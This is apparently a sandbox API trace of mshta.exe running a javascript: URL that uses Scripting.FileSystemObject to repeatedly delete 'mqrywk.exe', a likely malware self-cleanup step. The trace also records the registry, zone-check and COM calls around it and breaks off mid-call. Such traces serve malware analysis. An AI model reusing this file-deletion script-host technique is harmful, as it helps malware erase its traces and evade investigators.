GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0031.532] GetMessageTime () returned 0 [0031.532] GetMessagePos () returned 0x0 [0031.532] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x40f7fc | out: plResult=0x40f7fc) returned 0x0 [0031.532] GetCurrentThreadId () returned 0x10c [0031.532] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0031.533] GetMessageTime () returned 0 [0031.533] GetMessagePos () returned 0x0 [0031.533] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x40f7fc | out: plResult=0x40f7fc) returned 0x0 [0031.533] GetCurrentThreadId () returned 0x10c [0031.533] IsOS (dwOS=0x25) returned 1 [0031.533] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40fa08 | out: phkResult=0x40fa08*=0x210) returned 0x0 [0031.533] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40fa0c | out: phkResult=0x40fa0c*=0x214) returned 0x0 [0031.533] RegOpenKeyExW (in: hKey=0x214, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x40f9c8 | out: phkResult=0x40f9c8*=0x0) returned 0x2 [0031.533] RegOpenKeyExW (in: hKey=0x210, lpSubKey="FEATURE_MSHTML_AUTOLOAD_IEFRAME", ulOptions=0x0, samDesired=0x1, phkResult=0x40f9c8 | out: phkResult=0x40f9c8*=0x218) returned 0x0 [0031.534] SHRegGetValueW () returned 0x0 [0031.534] RegCloseKey (hKey=0x218) returned 0x0 [0031.534] RegCloseKey (hKey=0x0) returned 0x6 [0031.534] RegCloseKey (hKey=0x0) returned 0x6 [0031.534] RegCloseKey (hKey=0x210) returned 0x0 [0031.534] RegCloseKey (hKey=0x214) returned 0x0 [0031.534] LoadLibraryW (lpLibFileName="ieframe.dll") returned 0x72760000 [0032.605] GetVersionExW (in: lpVersionInformation=0x40f514*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x40f514*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0032.605] LoadLibraryExW (lpLibFileName="ieframe.dll", hFile=0x0, dwFlags=0x22) returned 0x72760000 [0032.605] LoadStringW (in: hInstance=0x72760000, uID=0xb5, lpBuffer=0x40fa90, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0032.608] LoadStringW (in: hInstance=0x72760000, uID=0xb5, lpBuffer=0x40faf0, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0032.608] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x7938a8 [0032.609] LoadStringW (in: hInstance=0x72760000, uID=0xb5, lpBuffer=0x40fadc, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0032.609] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x76d8e8, Size=0x48) returned 0x79f8f0 [0032.609] ShowWindow (hWnd=0x30266, nCmdShow=1) returned 1 [0032.609] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b788 | out: hHeap=0x750000) returned 1 [0032.609] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0032.609] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0032.609] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0032.609] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x77b788 [0032.609] RegisterDragDrop (hwnd=0x30266, pDropTarget=0x738896cc) returned 0x0 [0032.610] GetCurrentThreadId () returned 0x10c [0032.610] GetCurrentThreadId () returned 0x10c [0032.610] GetCurrentThreadId () returned 0x10c [0032.610] GetCurrentThreadId () returned 0x10c [0032.611] GetMessageW (in: lpMsg=0x40fd4c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x40fd4c) returned 1 [0032.611] TranslateMessage (lpMsg=0x40fd4c) returned 0 [0032.611] DispatchMessageW (lpMsg=0x40fd4c) returned 0x0 [0032.611] IInternetProtocolRoot:Continue (This=0x7943dc, pProtocolData=0x76d9c8) returned 0x0 [0032.611] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1a) returned 0x7b1f38 [0032.611] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ppu=0x40fb48 | out: ppu=0x40fb48) returned 0x0 [0032.611] IUnknown:QueryInterface (in: This=0x7934a8, riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x40fa3c | out: ppvObject=0x40fa3c*=0x0) returned 0x80004002 [0032.611] IServiceProvider:QueryService (in: This=0x7934ac, guidService=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x40fa3c | out: ppvObject=0x40fa3c*=0x7853b4) returned 0x0 [0032.611] GetCurrentThreadId () returned 0x10c [0032.612] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40faf0 | out: phkResult=0x40faf0*=0x244) returned 0x0 [0032.612] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x40faf4 | out: phkResult=0x40faf4*=0x248) returned 0x0 [0032.612] RegOpenKeyExW (in: hKey=0x248, lpSubKey="FEATURE_SCRIPTURL_MITIGATION", ulOptions=0x0, samDesired=0x1, phkResult=0x40fab0 | out: phkResult=0x40fab0*=0x0) returned 0x2 [0032.612] RegOpenKeyExW (in: hKey=0x244, lpSubKey="FEATURE_SCRIPTURL_MITIGATION", ulOptions=0x0, samDesired=0x1, phkResult=0x40fab0 | out: phkResult=0x40fab0*=0x0) returned 0x2 [0032.612] RegCloseKey (hKey=0x0) returned 0x6 [0032.612] RegCloseKey (hKey=0x0) returned 0x6 [0032.612] RegCloseKey (hKey=0x244) returned 0x0 [0032.612] RegCloseKey (hKey=0x248) returned 0x0 [0032.614] StrToIntW (lpSrc="7864784") returned 7864784 [0032.614] CoTaskMemFree (pv=0x76d8e8) [0032.615] IUnknown:AddRef (This=0x77c424) returned 0x4 [0032.615] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pdwZone=0x40fae4, dwFlags=0x0 | out: pdwZone=0x40fae4*=0xffffffff) returned 0x800c0011 [0032.616] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0032.616] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0032.616] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0032.616] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", dwAction=0x1400, pPolicy=0x40fae8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x40fae8*=0x0) returned 0x0 [0032.616] IUnknown:Release (This=0x77c424) returned 0x3 [0032.616] CoCreateInstance (in: rclsid=0x40fa9c*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x734a95b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x40fa58 | out: ppv=0x40fa58*=0x29d0488) returned 0x0 [0032.834] malloc (_Size=0x80) returned 0x1cd880 [0032.834] GetVersion () returned 0x1db10106 [0032.834] __dllonexit () returned 0x73f27ecf [0032.834] __dllonexit () returned 0x73f27e9b [0032.834] __dllonexit () returned 0x73f27eb5 [0032.834] __dllonexit () returned 0x73f27f70 [0032.836] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0032.836] GetProcAddress (hModule=0x754b0000, lpProcName="RegisterTraceGuidsA") returned 0x7738848f [0032.836] EtwRegisterTraceGuidsA () returned 0x0 [0032.836] GetProcAddress (hModule=0x754b0000, lpProcName="RegisterTraceGuidsA") returned 0x7738848f [0032.836] EtwRegisterTraceGuidsA () returned 0x0 [0032.836] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x40e414, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0032.837] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExA") returned 0x754c4907 [0032.837] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x40e538 | out: phkResult=0x40e538*=0x0) returned 0x2 [0032.841] GetVersion () returned 0x1db10106 [0032.841] DllGetClassObject (in: rclsid=0x781af8*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), riid=0x7630ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40ed24 | out: ppv=0x40ed24*=0x1cfe00) returned 0x0 [0032.841] ??2@YAPAXI@Z () returned 0x1cfe00 [0032.842] JScriptEngine5:IClassFactory:CreateInstance (in: This=0x1cfe00, pUnkOuter=0x0, riid=0x40f6d0*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x40ed10 | out: ppvObject=0x40ed10*=0x29d0488) returned 0x0 [0032.842] ??2@YAPAXI@Z () returned 0x29d0488 [0032.842] GetUserDefaultLCID () returned 0x409 [0032.842] GetACP () returned 0x4e4 [0032.842] JScriptEngine5:IUnknown:AddRef (This=0x29d0488) returned 0x2 [0032.842] JScriptEngine5:IUnknown:Release (This=0x29d0488) returned 0x1 [0032.842] JScriptEngine5:IUnknown:Release (This=0x1cfe00) returned 0x0 [0032.842] ??3@YAXPAX@Z () returned 0x1 [0032.842] JScriptEngine5:IUnknown:QueryInterface (in: This=0x29d0488, riid=0x734a95b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x40f9fc | out: ppvObject=0x40f9fc*=0x29d0488) returned 0x0 [0032.842] JScriptEngine5:IUnknown:Release (This=0x29d0488) returned 0x1 [0032.842] IUnknown:AddRef (This=0x77c424) returned 0x4 [0032.842] IInternetSecurityManager:MapUrlToZone (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pdwZone=0x40f96c, dwFlags=0x0 | out: pdwZone=0x40f96c*=0xffffffff) returned 0x800c0011 [0032.842] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0032.842] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0032.842] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0032.842] IInternetSecurityManager:ProcessUrlAction (in: This=0x738896bc, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", dwAction=0x1401, pPolicy=0x40f970, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x40f970*=0x0) returned 0x0 [0032.843] IUnknown:Release (This=0x77c424) returned 0x3 [0032.843] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x54) returned 0x7b0ec0 [0032.844] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a6768 [0032.844] GetCurrentThreadId () returned 0x10c [0032.844] ??2@YAPAXI@Z () returned 0x1cfe00 [0032.844] GetCurrentThreadId () returned 0x10c [0032.844] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x40f898 | out: phkResult=0x40f898*=0x24c) returned 0x0 [0032.845] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExA") returned 0x754c48ef [0032.845] RegQueryValueExA (in: hKey=0x24c, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x40f88c, lpData=0x40f890, lpcbData=0x40f894*=0x4 | out: lpType=0x40f88c*=0x4, lpData=0x40f890*=0x1, lpcbData=0x40f894*=0x4) returned 0x0 [0032.845] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0032.845] RegCloseKey (hKey=0x24c) returned 0x0 [0032.845] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x762c0000 [0032.845] GetProcAddress (hModule=0x762c0000, lpProcName="CoGetObjectContext") returned 0x7630632b [0032.845] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x762c0000 [0032.845] GetProcAddress (hModule=0x762c0000, lpProcName="CoCreateInstance") returned 0x76309d0b [0032.845] CoCreateInstance (in: rclsid=0x73f123a8*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73f123b8*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f894 | out: ppv=0x40f894*=0x76406460) returned 0x0 [0032.846] ??2@YAPAXI@Z () returned 0x1cfe38 [0032.846] ??_U@YAPAXI@Z () returned 0x1c13c0 [0032.846] ??2@YAPAXI@Z () returned 0x1cfec8 [0032.846] ??2@YAPAXI@Z () returned 0x29d06a0 [0032.846] ??2@YAPAXI@Z () returned 0x1cff00 [0032.847] GetCurrentThreadId () returned 0x10c [0032.848] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x40f838, nSize=0x27 | out: lpBuffer="") returned 0x0 [0032.848] GetCurrentThreadId () returned 0x10c [0032.848] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0032.848] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x40f8a8, cchData=6 | out: lpLCData="1252") returned 5 [0032.848] IsValidCodePage (CodePage=0x4e4) returned 1 [0032.848] GetCurrentThreadId () returned 0x10c [0032.848] GetCurrentThreadId () returned 0x10c [0032.848] CoCreateInstance (in: rclsid=0x73f115ec*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73f115fc*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x29d0674 | out: ppv=0x29d0674*=0x79dea8) returned 0x0 [0032.849] IUnknown:AddRef (This=0x79dea8) returned 0x2 [0032.849] GetCurrentProcessId () returned 0x940 [0032.849] GetCurrentThreadId () returned 0x10c [0032.849] GetTickCount () returned 0x11528e5 [0032.849] ISystemDebugEventFire:BeginSession (This=0x79dea8, guidSourceID=0x73f116d4, strSessionName="JScript:00002368:00000268:18163941") returned 0x0 [0032.849] GetCurrentThreadId () returned 0x10c [0032.849] GetCurrentThreadId () returned 0x10c [0032.849] ??2@YAPAXI@Z () returned 0x1cff68 [0032.850] GetCurrentThreadId () returned 0x10c [0032.850] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0032.850] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x14) returned 0x7ac530 [0032.851] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f804 | out: ppv=0x40f804*=0x777298) returned 0x0 [0032.851] ??2@YAPAXI@Z () returned 0x1cffa0 [0032.851] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x76406460, pUnk=0x1cffa0, riid=0x73f15710*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x1cffbc | out: pdwCookie=0x1cffbc*=0x100) returned 0x0 [0032.851] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x1cffa0, riid=0x762f97c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x40f788 | out: ppvObject=0x40f788*=0x0) returned 0x80004002 [0032.851] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x1cffa0, riid=0x76303e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x40f778 | out: ppvObject=0x40f778*=0x0) returned 0x80004002 [0032.851] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x1cffa0) returned 0x2 [0032.851] IUnknown:AddRef (This=0x777298) returned 0x2 [0032.851] IUnknown:Release (This=0x777298) returned 0x1 [0032.851] ??2@YAPAXI@Z () returned 0x29d0998 [0032.851] GetTickCount () returned 0x11528e5 [0032.851] ??2@YAPAXI@Z () returned 0x29d0fe8 [0032.852] malloc (_Size=0x40) returned 0x29d1058 [0032.852] malloc (_Size=0x104) returned 0x29d10a0 [0032.852] ??2@YAPAXI@Z () returned 0x1cffc8 [0032.852] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f820 | out: ppv=0x40f820*=0x777298) returned 0x0 [0032.852] IUnknown:Release (This=0x777298) returned 0x1 [0032.852] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f820 | out: ppv=0x40f820*=0x777298) returned 0x0 [0032.852] IUnknown:Release (This=0x777298) returned 0x1 [0032.852] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a6780 [0032.852] GetCurrentThreadId () returned 0x10c [0032.852] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x10) returned 0x7a6798 [0032.852] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x7b20f0 [0032.852] GetCurrentThreadId () returned 0x10c [0032.852] realloc (_Block=0x0, _Size=0xc8) returned 0x29d11b0 [0032.853] ??2@YAPAXI@Z () returned 0x29d1280 [0032.853] malloc (_Size=0x804) returned 0x29d12a8 [0032.853] ??2@YAPAXI@Z () returned 0x29d1ab8 [0032.853] malloc (_Size=0x104) returned 0x29d1c20 [0032.853] malloc (_Size=0x204) returned 0x29d1d30 [0032.854] malloc (_Size=0x404) returned 0x29d1f40 [0032.854] ??3@YAXPAX@Z () returned 0x1 [0032.854] malloc (_Size=0x40) returned 0x29d1ab8 [0032.855] realloc (_Block=0x29d1ab8, _Size=0x60) returned 0x29d1ab8 [0032.855] malloc (_Size=0x3d0) returned 0x29d2350 [0032.856] ??2@YAPAXI@Z () returned 0x1c13d0 [0032.856] free (_Block=0x29d12a8) [0032.856] ??3@YAXPAX@Z () returned 0x1 [0032.856] free (_Block=0x29d1ab8) [0032.856] free (_Block=0x29d1f40) [0032.856] free (_Block=0x29d1d30) [0032.856] free (_Block=0x29d1c20) [0032.856] ??2@YAPAXI@Z () returned 0x29d2728 [0032.856] ??2@YAPAXI@Z () returned 0x29d2760 [0032.856] malloc (_Size=0xc) returned 0x29d2780 [0032.856] ??2@YAPAXI@Z () returned 0x29d2798 [0032.857] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f940 | out: ppv=0x40f940*=0x777298) returned 0x0 [0032.857] IUnknown:Release (This=0x777298) returned 0x1 [0032.857] ??2@YAPAXI@Z () returned 0x29d27e0 [0032.857] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f990 | out: ppv=0x40f990*=0x777298) returned 0x0 [0032.857] IUnknown:Release (This=0x777298) returned 0x1 [0032.857] ??2@YAPAXI@Z () returned 0x29d2850 [0032.857] ISystemDebugEventFire:IsActive (This=0x79dea8) returned 0x1 [0032.857] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f98c | out: ppv=0x40f98c*=0x777298) returned 0x0 [0032.858] IUnknown:Release (This=0x777298) returned 0x1 [0032.858] malloc (_Size=0x658) returned 0x29d28d0 [0032.858] GetCurrentThreadId () returned 0x10c [0032.858] GetCurrentThreadId () returned 0x10c [0032.859] GetCurrentThreadId () returned 0x10c [0032.859] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x24) returned 0x793938 [0032.860] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0032.860] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0032.861] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x30) returned 0x76d8e8 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x30c) returned 0x7b3318 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac550 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac570 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac590 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac5b0 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac5d0 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac5f0 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac610 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac630 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac650 [0032.862] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac670 [0032.863] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac690 [0032.863] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x18) returned 0x7ac6b0 [0032.863] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x10) returned 0x7a67b0 [0032.863] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0032.863] IsCharSpaceW (wch=0x6f) returned 0 [0032.863] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0032.863] IsCharSpaceW (wch=0x6f) returned 0 [0032.863] ??2@YAPAXI@Z () returned 0x29d2f30 [0032.864] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x762c0000 [0032.864] GetProcAddress (hModule=0x762c0000, lpProcName="CLSIDFromProgIDEx") returned 0x762d0782 [0032.864] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0x40f554 | out: lpclsid=0x40f554*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0032.866] SysStringLen (param_1=0x0) returned 0x0 [0032.866] GetProcAddress (hModule=0x762c0000, lpProcName="CoGetClassObject") returned 0x762f54ad [0032.866] CoGetClassObject (in: rclsid=0x40f554*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x73f1087c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f548 | out: ppv=0x40f548*=0x29d2fa0) returned 0x0 [0033.105] FileSystemObject:IUnknown:QueryInterface (in: This=0x29d2fa0, riid=0x73f17884*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x40f544 | out: ppvObject=0x40f544*=0x0) returned 0x80004002 [0033.105] FileSystemObject:IClassFactory:CreateInstance (in: This=0x29d2fa0, pUnkOuter=0x0, riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x40f54c | out: ppvObject=0x40f54c*=0x29d2fc0) returned 0x0 [0033.105] FileSystemObject:IUnknown:Release (This=0x29d2fa0) returned 0x0 [0033.105] FileSystemObject:IUnknown:QueryInterface (in: This=0x29d2fc0, riid=0x73f15a50*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x40f500 | out: ppvObject=0x40f500*=0x0) returned 0x80004002 [0033.105] FileSystemObject:IUnknown:QueryInterface (in: This=0x29d2fc0, riid=0x73f15700*(Data1=0x9bcb0016, Data2=0xbc2a, Data3=0x47b7, Data4=([0]=0x81, [1]=0x54, [2]=0x85, [3]=0x80, [4]=0xa1, [5]=0x5c, [6]=0x3f, [7]=0xf0)), ppvObject=0x40f4ec | out: ppvObject=0x40f4ec*=0x0) returned 0x80004002 [0033.106] FileSystemObject:IUnknown:QueryInterface (in: This=0x29d2fc0, 